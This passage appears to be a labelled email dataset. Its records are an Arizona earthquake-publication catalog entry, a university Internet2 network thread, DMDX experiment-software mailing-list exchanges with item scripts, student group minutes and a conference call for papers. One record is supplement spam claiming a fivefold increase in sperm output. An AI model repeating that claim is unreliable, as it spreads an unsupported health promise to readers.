ALT AUTHOR Pearthree, Philip A. ALT AUTHOR Arizona Earthquake Preparedness Program. ALT AUTHOR Arizona. Division of Emergency Management. ALT AUTHOR United States. Federal Emergency Management Agency. ADD TITLE Plio, Quaternary faulting and seismic hazard in the Flagstaff area, northern Arizona. OCLC # 37142808. DOCUMENT # GS 1.3:B 85/200 azdocs. 1 > Arizona Documents GS 1.3:B 85/200 IN LIBRARY 2 > Special Collections QE535.2.U6 P588 1996 IN LIBRARY 3 > Special Collections QE535.2.U6 P588 1996 c.2 IN LIBRARY Record 6 of 6 LOCATIONS Book Stacks & Special Collections CALL # QE535.2.U6 W46 1996. AUTHOR Western States Seismic Policy Council. Annual Meeting (16th : 1995 : Flagstaff, Ariz.) TITLE WSSPC '95 : annual report and sixteenth meeting of the Western States Seismic Policy Council, September 18-20, 1995, Flagstaff, Arizona : Arizona Division of Emergency Management Earthquake Program, WSSPC '95 host state / compiled by Dough Bausch. PUBLISHER [Flagstaff? : Northern Arizona University?], 1996. DESCRIPT 1 v. (various pagings) : ill., maps ; 28 cm. NOTE Cover title. NOTE ""Prepared: March 15, 1996"" -- verso. NOTE Synopsis of seismic threats in the western United States : impacts to the national transportation infrastructure, WSSPC- DOT monograph no. 1 / compiled by Dough Bausch and Matthias Borner. NOTE lh. SUBJECT Earthquake hazard analysis -- West (U.S.) -- Public policy -- Congresses. SUBJECT Earthquakes -- West (U.S.) -- Congresses. SUBJECT Seismology -- Research -- West (U.S.) -- Congresses. ALT AUTHOR Bausch, Douglas B. ALT AUTHOR Arizona. Division of Emergency Management. Earthquake Program. ADD TITLE Synopsis of seismic threats in the western United States : impacts to the national transportation infrastructure. OCLC # 34779805. 1 > Book Stacks QE535.2.U6 W46 1996 IN LIBRARY 2 > Special Collections QE535.2.U6 W46 1996 c.2 IN LIBRARY ",0,0 Brandon V Feder ,arrows@IMAP2.ASU.EDU,"Sat, 11 Jan 2003 11:49:40 +0000",licipu,"SPUR-M Formula Increase sperm you produce five times Blast 5x your load and have longer more satisfying release. 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A great deal of research effort is going into Internet2. If you interested, you can read more at http://www.internet2.edu Greg On Mon, 2003-01-13 at 10:48, gilfoyle wrote: > Hi Greg, > > > I had some serious problems last summer with network speed. I > recently tried > again and suddenly things were working fine. I did not change anything > at > JLab. We are using bbftp to transfer data files and that was not working > last > summer. We had to resort to scp which is much slower. The bbftp package > now > seems to be working so I don't know if the change is due to bbftp versus > scp > or due to improved network performance or both. > > Jerry > > Greg Miller wrote: > > > > Jerry, > > > > Some time ago your reported slow network speed when transferring files between your research machine and jlab. > > At the time I identified two links out on the Internet that were experiencing some congestion. > > > > I have noticed in the last week or two that our Internet2/Abilene connection had been getting some heavy use. > > I suspected you might be taking advantage of this resource, and sure enough, the traffic is between Physics and > > jlab. > > > > So, I am interested in whether you are experiencing better file transfer rates and also how you were able to take > > advantage of Internet2. Did jlab get an I2 connection, or did they allow you to use a different machine on their network > > with such a connection. > > > > I'm interested because we have had the I2 connection for some time now, and you are the first faculy member of which I am aware > > who has taken advantage of this resource. > > > > Look forward to your response. > > > > Greg Miller > > Network Services > > University of Richmond > > gmiller@richmond.edu > > 804-289-8546 > > > > > -----Original Message----- > > > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > > > Sent: Friday, September 27, 2002 9:17 AM > > > To: hcaruso@richmond.edu > > > Subject: slow network speed > > > > > > > > > Hi Holly, > > > > > > We have some rather poor data transfer rates between JLab > > > and the University and I am trying to track down the problem. > > > When I do a traceroute from Richmond to JLab things appear to > > > go slow at BB2-M1R1 and Janus. The output from the traceroutes > > > is in the attached file. The response from the JLab machines > > > always times out because of the security restrictions they put > > > on all the computers here. Does this make sense to you? Is > > > there anything we can do about it? > > > > > > thanks-in-advance, > > > > > > jerry > > > > > > -- > > > Dr. Gerard P. Gilfoyle > > > Physics Department e-mail: ggilfoyl@richmond.edu > > > University of Richmond, VA 23173 phone: 804-289-8255 > > > USA fax: 804-289-8482 > > > > > > ---- > > > >From - Mon Jan 13 10:41:38 2003 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Message-ID: <3E22DE31.317E199@richmond.edu> Date: Mon, 13 Jan 2003 10:41:37 -0500 From: gilfoyle X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.9-34 i686) X-Accept-Language: en MIME-Version: 1.0 To: Adnan Iqbal , Vikash Davda Subject: plans for the spring Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi guys, if you are around on wednesday afternoon i am going to meet with sasko at 2:30 in the cluster lab. i want to talk with him about some of the things we want to accomplish this spring. a tentative list of things (big and small) that i'm thinking about is below. if you can make the meeting, let me know. if you can think of other items to add to the list, let me know. cheers, gpg 1. purchase and install additional backup power supply. 2. purchase and install new slave nodes. 3. test resolution on all monitors. 4. purchase new monitors (depends on 3). 5. set up printers (B&W one in N-210 and color one in N2-7) on all machines (pscm1, gpg1, mfv1, physxcd). 6. fix nodes on new cluster (8,30,36). 7. fix nodes on old cluster. 8. upgrade software on old cluster? 9. install fvwm window manager on pscm1, gpg1, mfv1, .... 10. web-based documentation, FAQ, How-To, for cluster. -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,1 Markus Raabe ,DMDX Mailinglist ,"Tue, 14 Jan 2003 11:15:57 +0100",[DMDX] ITI by chance ,"Hi, does anyone know how to create an Item-File with ITI´s/ISI´s by chance? One Trial consists of two stimuli. They are presented one after another. I am interested in the RT to the second stimulus. The ISI should be between 1000 and 1500 ms by chance. Besides I want to vary the ITI within a determined range, too. Maby I have overlooked a relevant Keyword / combination of Keywords. If not, maybe someone has a solution to this, using Excel. Please help me, Markus. ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Jan 2003 11:18:35 +0000",[DMDX] Re: ITI by chance ,"At 11:15 14/01/2003 +0100, you wrote: >Hi, > >does anyone know how to create an Item-File with ITI´s/ISI´s by chance? > >One Trial consists of two stimuli. They are presented one after another. >I am interested in the RT to the second stimulus. >The ISI should be between 1000 and 1500 ms by chance. Besides I want to >vary the ITI within a determined range, too. > >Maby I have overlooked a relevant Keyword / combination of Keywords. >If not, maybe someone has a solution to this, using Excel. > >Please help me, >Markus. Hi Markus, I've done something similar to this to set up a variable delay between trials. In the script below, a word is presented for 200ms (based on a refresh rate of 13.333ms), then there is a fixation cross that stays on the screen for a variable ISI. The duration of the fixed portion of the ISI is set as follows: item display 15 ticks fixation cross 15 ticks end of frame 1 tick delay 10 ticks total 41 ticks After presenting each item, the script calls a complex series of branches. It ends up picking one of the 6 items (1001 to 1006) with a probability of 1/6. These items set counter 1 to be a number of ticks between 34 and 109. By adding these numbers of ticks to the durations shown above, you end up with an ISI of between 75 and 150 ticks (i.e. 1 to 2 seconds). It should be possible to modify these values to suit your needs. There may be an easier way to do this using a more up-to-date version of DMDX - this script was written when the branching keywords were less flexible than at present. One thing I should mention is that in the script shown below, the instructions and branches need to go within $ signs to ensure that they don't get scrambled by my use of the keyword in the top line. Hope all this is helpful, Cheers, Matt ----------script follows-------------- $ 0 ""Press SPACEBAR or FOOTPEDAL to start"" ; $ +1 ""+"" / * ""split"" / ""+"" /!; +2 ""+"" /* ""spit"" / ""+"" /!; +3 ""+"" /* ""sit"" / ""+"" /!; +4 ""+"" / * ""sat"" / ""+"" /!; +5 ""+"" /* ""spat"" / ""+"" /!; +6 ""+"" /* ""splat"" / ""+"" /!; $ 0 c; 1000 ! c; 0 ! c; 0 ! c; 0 ! c; 1100 ! c; 0 ! c; 0 ! c; 1001 ! ; 1002 ! ; 1003 ! ; 1004 ! ; 1005 ! ; 1006 ! ; 2000 ""The END! Thank you for taking part.""; $ **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Jan 2003 11:21:45 +0000",[DMDX] Re: ITI by chance ,"Hi Markus, I've replied to your posting on the DMDX list - since that way other people might get some benefit from my reply. Let me know if you have trouble reading my reply, or figuring out how the script works. Also, I'm aware that you've just tried to subscribe to the DMDX list that I run in Cambridge. However, I'm reluctant to subscribe people outside Cambridge to this list, since this is primarily intended for local users. In particular people who use the DMDX set up at the Wolfson Brain Imaging Centre or at the Cognition and Brain Sciences Unit. I think that the main, official DMDX mailing list is much more appropriate for general queries such as yours. Hope this helps, Matt At 11:15 14/01/2003 +0100, you wrote: >Hi, > >does anyone know how to create an Item-File with ITI´s/ISI´s by chance? > >One Trial consists of two stimuli. They are presented one after another. >I am interested in the RT to the second stimulus. >The ISI should be between 1000 and 1500 ms by chance. Besides I want to >vary the ITI within a determined range, too. > >Maby I have overlooked a relevant Keyword / combination of Keywords. >If not, maybe someone has a solution to this, using Excel. > >Please help me, >Markus. > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** ",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Jan 2003 09:51:49 -0700",[DMDX] RE: ITI by chance ,"Markus, Maybe I don't understand your problem, but it seems like there is a very simple solution. You just construct a file with as many items as you like, each containing a different frame timer specifying the ISI, e.g., +001 ""stim1""/ %70 / * ""stim2""/; +002 ""stim1""/ %71 / * ""stim2""/; +003 ""stim1""/ %72 / * ""stim2""/; +004 ""stim1""/ %73 / * ""stim2""/; +005 ""stim1""/ %74 / * ""stim2""/; +006 ""stim1""/ %75 / * ""stim2""/; etc. When the item file is scrambled, these items will appear in a random sequence. --k.i.f. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Markus Raabe Sent: Tuesday, January 14, 2003 3:16 AM To: DMDX Mailinglist Subject: [DMDX] ITI by chance Hi, does anyone know how to create an Item-File with ITI´s/ISI´s by chance? One Trial consists of two stimuli. They are presented one after another. I am interested in the RT to the second stimulus. The ISI should be between 1000 and 1500 ms by chance. Besides I want to vary the ITI within a determined range, too. Maby I have overlooked a relevant Keyword / combination of Keywords. If not, maybe someone has a solution to this, using Excel. Please help me, Markus. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Christopher Tan ,"a-phi-o@lists.Stanford.EDU, apo-pledges@lists.Stanford.EDU","Tue, 14 Jan 2003 16:02:20 -0800",[APO] Minutes 1/13/2003,"Hi guys, Submit any amendments you have to me, please. Chris. -------------------------------------------------- Date: January 13, 2003 Time: 8-9something pm Venue: Meyer 182 Attendance: Present (actives): Lisa, Lauren, Terence, Linh, Audrey, Jeff, Chris T., Brandi, Chris S., Stephanie, Jen, Cherwee, Derek (who came in at the toast song... ;) ) Present (pledges): Jenny, Shaowei, Sergei Present (section staff): Kelly Absent with apologies: Cheng Absent: Christina, Bill, Diana, Shimul, Priyanka N.B.: Diana, I know that you had difficulties attending meetings last quarter, is this quarter okay with you? (Pledge Eds, please answer this if you can) Proceedings: 1. Lisa opens meeting 2. Change of meeting time to be determined at Elections meeting. 3. CPPC will be held on 7-8 February, starting 7 pm on the 7th                 - Chris S. to check on his church, University Lutheran, on Wed 15 Jan. 4. Elections will be held next Tuesday, Jan 21 2003                 - Nominations - see appendix to minutes. 5. LAUNCH Workshop                 - APO leads  4-5 leadership development workshops (as opposed to LEAP, LDW, etc)                 - LAUNCH, EXPLORE, ACHIEVE, DISCOVER, SERVE                 - We have people from our region, etc, trained to lead these.                 - Achieve and Explore at sectionals.                 - Chapters to look for time to put on launches.                 - February 22nd, tentatively, for our chapter to take it on. 6. Activation ceremony / pledge stuff                 - Activation to be held February 1st 2003.                 - Pledge Eds to handle room booking.                 - Dinner afterwards!! 7. Sectionals will be held the weekend of Feb 28-March 2                 - Chris S will lead EXPLORE!! 8. Pledge service project (Sergei)                 - Working with kids (tutoring?) in East Palo Alto?                 - Up in the air 9. UGLY / 75th                 - Lauren & Christina, original chairs                 - We need more help 10. EV Tutoring (Chris S.)                 - We did Wed / Thurs, 5-8 pm                 - Chris S., Lisa, Priyanka on Thursday                 - Lauren and Shaowei on Wed                 - We need publicity, flyering next Tues, Wed (Stephanie to handle this)                 - Translation of flyers into Spanish? 11. Other service                 - 2nd harvest (Chris T.)                         - 10 slots on the 22nd  9am-12 NOON, 6 slots on the 8th         - Pledge  tutoring in EPA, tentatively, not started yet (see above 8.)         - JETS with SWE (Terence)                 - March 1, looking for people to organize support, logistics, etc.                 - Competition for high schools in science, engineering, etc. 12. AAMD checks got misplaced                 - We have to pay Jeff $35. Make check to Jeffrey Yao. 13. Nationals review                 - Lisa got to do some organization stuff.                 - Lauren bummed around and got to fraternize, tabled for the Anaheim bid.                 - Chris S. did lots of leadership training workshops.                 - Pledge fees got raised, activation fee March 1, Pledge fee Sept 1.                 - We have to submit what we did for National Service week                 - New appointments:                         Bobby Hainline, National president                         Maggie Katz, National VP                 Regional director, Kevin Simpson                 Beth Tom, program director. 14. Fellowship, lunches for 2 weeks! (Jen)                 - Refer to her email for individual details. 15. Nominations were held (see appendix) 16. Meeting was closed with a toast song. Appendix: Nominations President: Lisa, Jen M. Service VP: Stephanie, Linh Membership VP: Jenny, Shaowei Fellowship VP: Christina, Brandi Pledge Educator: Diana, Lisa, Stephanie, Terence, CherWee, Derek, Linh Secretary: Cherwee, Priyanka (?), Brandi Historian: Lisa, Linh, Brandi Treasurer: Diana, Christina Haas / Alumni rep: Shaowei Sergeant at Arms: Sergei, Chris S., Lauren Tech officer: Derek If you have strong objections to being nominated for any post, please feel free to think about it, and let me know and I'll take you off the list. That's all folks.... Chris ""O Master grant that I may never seek So much to be consoled as to console, To be understood, as to understand, To be loved, as to love with all my soul"" -Prayer of St. Francis -++**==--++**==--++**==--++**==--++**==--++**==--++**== This message was posted through the Stanford campus mailing list server. If you wish to unsubscribe from this mailing list, send the message body of ""unsubscribe a-phi-o"" to majordomo@lists.stanford.edu",0,0 Edelyn Verona ,DMDX@psy1.psych.arizona.edu,"Wed, 15 Jan 2003 18:46:13 -0500",[DMDX] digital voice recording,"Hi, I'm having a problem with DMDX recording the RT's of voice responses (for emotional stroop task) in the .azk files. The mic is connected directly to sound card. Using test vox, you see voice responses triggering properly, so you'd expect them to record RTs. Thus, I don't suspect any problems with hardware. However, the .azk file outputs only the delay time (2000 ms) for all trials, suggesting that somehow DMDX is not detecting triggers. Anybody encounter this or know of any information to trouble shoot this problem? I checked in the list serve but could not find any info. Any help would be greatly appreciated. Thanks, Edelyn Here is an excerpt of the code: d59 f1 $ 0 o0 ""Start Data Acquisition"", ""Press SPACEBAR to start""; 0 ""NAME the INK COLOR "", ""as quickly as possible!"", ""IGNORE the WORD itself.""/c; 0 /c; $ +111101 * ""DANGER"" / /; +121102 * ""DISTRESSED"" / /; +131103 * ""AGONY"" / /; +142104 * ""FEAR"" / /; +152105 * ""DEPRESSED"" / /; +162106 * ""ANXIOUS"" / /; +173107 * ""SAD"" / /; +183108 * ""TERRIBLE"" / /; +193109 * ""STRESS"" / /; +211110 * ""CRUEL"" / /; +221111 * ""ANGRY"" / /; +231112 * ""ASSAULT"" / /; +242113 * ""HOSTILE"" / /; +252114 * ""INSULT"" / /; +262115 * ""MASSACRE"" / /;",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Jan 2003 18:27:18 -0700",[DMDX] Re: digital voice recording,"At 06:46 PM 1/15/2003 -0500, you wrote: >Hi, > >I'm having a problem with DMDX recording the RT's of voice responses (for >emotional stroop task) in the .azk files. The mic is connected directly >to sound card. Using test vox, you see voice responses triggering >properly, so you'd expect them to record RTs. Thus, I don't suspect any >problems with hardware. However, the .azk file outputs only the delay >time (2000 ms) for all trials, suggesting that somehow DMDX is not >detecting triggers. Anybody encounter this or know of any information to >trouble shoot this problem? I checked in the list serve but could not >find any info. Any help would be greatly appreciated. Your problem isn't jogging my memory but you should probably make sure you're using the latest version of DMDX, that code underwent multiple recent upheavals to deal with broken sound card drivers. You might try initializing the DigitalVOX before the RecordVocal device, you might try just the DigitalVOX without the RecordVocal device (! is handy for that sort of thing, you can just momentarily turn a keyword into a comment, for instance). You might try passing RecordVocal a parameter and not run it in legacy mode, for instance will record until 500ms past the VOX trigger. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barth's Distinction: There are two types of people: those who divide people into two types, and those who don't.",0,0 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Jan 2003 15:45:47 +1100",[DMDX] blank screen between frames/items,"Hi... I'm using (attempting to use) DMDX in such a manner that a bitmap image is displayed behind the text for a frame. Once the user has made a response, the following frame is an avi file. The image just happens to be the first frame of the video because I want the whole thing to seem like an animation. However, there is a gap (of blank screen) before the video frame is played. What (anything) can be done to alleviate this? Note that there are no blank screen between frames just containing the image and text. I tried preloading the video with a dud item & MediaLife but that didn't make a difference. Could an image be set as the background for all frames perhaps? Any help would be appreciated, Rua. Rua Haszard Morris Software Engineer & Research Assistant MARCS Auditory Laboratories http://www.uws.edu.au/marcs/ ",0,1 alario ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Jan 2003 18:12:14 +0100",[DMDX] RE : blank screen between frames/items,"Hi I 've been trying to create something similar in apicture naming experiment without much success (probably due to my lack of obstination). You can chck out previous messages in the list (for instance you can make a search for my name 'alario' in the list thread) Cheers X F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc -----Message d'origine----- De : DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] De la part de Rua Haszard Morris Envoyé : jeudi 16 janvier 2003 05:46 À : DMDX@psy1.psych.arizona.edu Objet : [DMDX] blank screen between frames/items Hi... I'm using (attempting to use) DMDX in such a manner that a bitmap image is displayed behind the text for a frame. Once the user has made a response, the following frame is an avi file. The image just happens to be the first frame of the video because I want the whole thing to seem like an animation. However, there is a gap (of blank screen) before the video frame is played. What (anything) can be done to alleviate this? Note that there are no blank screen between frames just containing the image and text. I tried preloading the video with a dud item & MediaLife but that didn't make a difference. Could an image be set as the background for all frames perhaps? Any help would be appreciated, Rua. Rua Haszard Morris Software Engineer & Research Assistant MARCS Auditory Laboratories http://www.uws.edu.au/marcs/ ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Jan 2003 10:41:42 -0700",[DMDX] Re: blank screen between frames/items,"At 03:45 PM 1/16/2003 +1100, you wrote: >Hi... > >I'm using (attempting to use) DMDX in such a manner that a bitmap image is >displayed behind the text for a frame. Once the user has made a response, >the following frame is an avi file. The image just happens to be the first >frame of the video because I want the whole thing to seem like an animation. > >However, there is a gap (of blank screen) before the video frame is played. >What (anything) can be done to alleviate this? Note that there are no blank >screen between frames just containing the image and text. I tried >preloading the video with a dud item & MediaLife but that didn't make a >difference. > >Could an image be set as the background for all frames perhaps? Not without changing the code and that would require sponsorship from you. There's a good deal of quite complicated code in there that determines if a previous digital video frame needs erasing, my guess is that your video codec (the code that has been added to the operating system to handle whatever digital video format you are using) is taking some time to deliver the first frame of the video and in the interim DMDX is erasing the screen because it's algorithm has a hole in it and it's making the wrong decision. You could try putting a no-erase ! in the digital video frame. If that doesn't change anything you could try a different digital video format. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Wagner's music is better than it sounds."" - Mark Twain ",0,0 albert costa ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Jan 2003 19:23:45 +0100",[DMDX] RE: RE : blank screen between frames/items,"K simpatico eres mi amor -----Mensaje original----- De: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] En nombre de alario Enviado el: jueves, 16 de enero de 2003 18:12 Para: DMDX@psy1.psych.arizona.edu Asunto: [DMDX] RE : blank screen between frames/items Hi I 've been trying to create something similar in apicture naming experiment without much success (probably due to my lack of obstination). You can chck out previous messages in the list (for instance you can make a search for my name 'alario' in the list thread) Cheers X F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc -----Message d'origine----- De : DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] De la part de Rua Haszard Morris Envoyé : jeudi 16 janvier 2003 05:46 À : DMDX@psy1.psych.arizona.edu Objet : [DMDX] blank screen between frames/items Hi... I'm using (attempting to use) DMDX in such a manner that a bitmap image is displayed behind the text for a frame. Once the user has made a response, the following frame is an avi file. The image just happens to be the first frame of the video because I want the whole thing to seem like an animation. However, there is a gap (of blank screen) before the video frame is played. What (anything) can be done to alleviate this? Note that there are no blank screen between frames just containing the image and text. I tried preloading the video with a dud item & MediaLife but that didn't make a difference. Could an image be set as the background for all frames perhaps? Any help would be appreciated, Rua. Rua Haszard Morris Software Engineer & Research Assistant MARCS Auditory Laboratories http://www.uws.edu.au/marcs/ ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Diana Sonnenreich ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Jan 2003 18:15:31 -0500",[DMDX] video card question,"hi. i've already contacted Ken, so i have a bit of info on this, but i am having issues rotating text within DMDX. i need to be able to project a rotated image of 90degrees onto a screen. so, for our Mac experiments we rely on our rotating monitor and pivot sorftware to do this. i realize that i can create with image software a rotated image of text and then apply this to DMDX -- but is this possible within DMDX? i have a rotating monitor with pivot software (for out PC) but this does not seem to be supported by DMDX - so going thru the calibrations for video output, when i rotate the screen resolution/display i get error messages saying ""DMDX or DirectX does not support page flipping"". also, Ken confirmed that the video card, ATI Radeon VE, is useless with DMDX ...can you suggest a better one? the major question here though is can i rotate a text image within DMDX (with or without rotating the monitor)? any input on this problem i would appreciate tremendously! thank you. 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",1,0 Edelyn Verona ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 12:27:53 -0500",[DMDX] Re: digital voice recording,"Hi Jonathan, I am using the largest version of DMDX. I tried the different strategies you suggested (initializing digitalvox before record vocal, commenting out record vocal, not running record vocal on legacy mode), and these didn't work. We have been able to record voice responses on wav files with no problem, it's just that DMDX is not outputting RTs of voice responses on the .azk file (only the delay time gets outputted). I got a colleague's rtf file (which is running properly on his machine), and ran it in my machine and still did not get RTs outputted in the .azk file. How is it that wav files are recorded but not the RTs? Any further help would be appreciated. Thanks, Edelyn At 06:27 PM 1/15/03 -0700, you wrote: >At 06:46 PM 1/15/2003 -0500, you wrote: >>Hi, >> >>I'm having a problem with DMDX recording the RT's of voice responses (for >>emotional stroop task) in the .azk files. The mic is connected directly >>to sound card. Using test vox, you see voice responses triggering >>properly, so you'd expect them to record RTs. Thus, I don't suspect any >>problems with hardware. However, the .azk file outputs only the delay >>time (2000 ms) for all trials, suggesting that somehow DMDX is not >>detecting triggers. Anybody encounter this or know of any information to >>trouble shoot this problem? I checked in the list serve but could not >>find any info. Any help would be greatly appreciated. > > > Your problem isn't jogging my memory but you should probably make sure >you're using the latest version of DMDX, that code underwent multiple >recent upheavals to deal with broken sound card drivers. You might try >initializing the DigitalVOX before the RecordVocal device, you might try >just the DigitalVOX without the RecordVocal device (! is handy for that >sort of thing, you can just momentarily turn a keyword into a comment, RecordVocal> for instance). You might try passing RecordVocal a parameter >and not run it in legacy mode, for instance will >record until 500ms past the VOX trigger. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Barth's Distinction: > There are two types of people: those who divide people into two >types, and those who don't. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~ Edelyn Verona, Ph.D. Department of Psychology Kent State University Kent, OH 44242 Office: 330-672-2543 Lab: 330-672-9738 Fax: 330-672-3786 email: everona@kent.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 11:24:21 -0700",[DMDX] Re: video card question,"At 06:15 PM 1/16/2003 -0500, you wrote: >hi. i've already contacted Ken, so i have a bit of info on this, but i am >having issues rotating text within DMDX. i need to be able to project a >rotated image of 90degrees onto a screen. so, for our Mac experiments we >rely on our rotating monitor and pivot sorftware to do this. >i realize that i can create with image software a rotated image of text >and then apply this to DMDX -- but is this possible within DMDX? No, I don't think I ever exposed the orientation parameter to the GDI text rendering routines. Might be messy to expose, in any case it would require sponsorship. > i have a rotating monitor with pivot software (for out PC) but this > does not seem to be supported by DMDX - so going thru the calibrations > for video output, when i rotate the screen resolution/display i get error > messages saying ""DMDX or DirectX does not support page flipping"". Not surprising, it's probably got a custom video card in it that hasn't had a driver update for eons. > also, Ken confirmed that the video card, ATI Radeon VE, is useless with > DMDX ...can you suggest a better one? the major question here though is > can i rotate a text image within DMDX (with or without rotating the monitor)? >any input on this problem i would appreciate tremendously! A quick play with the escapement and orientation parameters to CreateFont() indicate that DMDX could in fact do this but the routines that determine the dimensions of a piece of text fail so there's some major code modifications needed. And then there's the considerations of line placement and so on. Major major modifications needed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Wagner's music is better than it sounds."" - Mark Twain ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 11:25:45 -0700",[DMDX] Re: video card question,"At 06:15 PM 1/16/2003 -0500, you wrote: >DirectX does not support page flipping"". also, Ken confirmed that the >video card, ATI Radeon VE, is useless with DMDX ...can you suggest a >better one? Look at the updates page: http://www.u.arizona.edu/~jforster/dmdx.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Wagner's music is better than it sounds."" - Mark Twain ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 11:26:11 -0700",[DMDX] Re: paths to data files,"At 10:58 AM 1/17/2003 +1100, you wrote: >Hi... > >Is it possible in DMDX to specify data files (images, video clips etc) that >aren't in the same folder as the item file? Yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Wagner's music is better than it sounds."" - Mark Twain ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Jan 2003 11:27:17 -0700",[DMDX] Re: digital voice recording,"At 12:27 PM 1/17/2003 -0500, you wrote: >Hi Jonathan, > >I am using the largest version of DMDX. I tried the different strategies >you suggested (initializing digitalvox before record vocal, commenting out >record vocal, not running record vocal on legacy mode), and these didn't >work. We have been able to record voice responses on wav files with no >problem, it's just that DMDX is not outputting RTs of voice responses on >the .azk file (only the delay time gets outputted). I got a colleague's >rtf file (which is running properly on his machine), and ran it in my >machine and still did not get RTs outputted in the .azk file. How is it >that wav files are recorded but not the RTs? Any further help would be >appreciated. You mist have the VOX threshold settings set incorrectly. Perhaps you set them but didn't save them. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Wagner's music is better than it sounds."" - Mark Twain ",0,0 Statistics@hicstatistics.org,Hawaii International Conferences ,"Fri, 17 Jan 2003 09:53:32 -1000",Deadline Extension - Call for Papers - Hawaii International Conference on Statistics and Related Fields,"Call for Papers/Abstracts/Proposals Hawaii International Conference on Statistics June 5-8, 2003 Sheraton Waikiki Hotel, Waikiki, Honolulu Hawaii, USA Since many people have individually asked for an extension of the submission deadline, we are extending the deadline for submission to January 24, 2003. Call for papers, abstracts, student papers, work-in-progress reports, research proposals, poster sessions, research tables, or reports on issues related to teaching. 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For more information about submissions see XXXX://www.hicstatistics.org/cfp_stats.htm If you would like your e-mail address removed from this distribution list, please respond to statistics@hicstatistics.org and put remove in the subject heading. web address: www.hicstatistics.org email: statistics@hicstatistics.org ",0,0 egoiko@arrakis.es,DMDX@psy1.psych.arizona.edu,"Sat, 18 Jan 2003 00:56:46 +0100",[DMDX] TimeDX no run,"Dear DMDX users, First, I apologize because my English is not good at all. 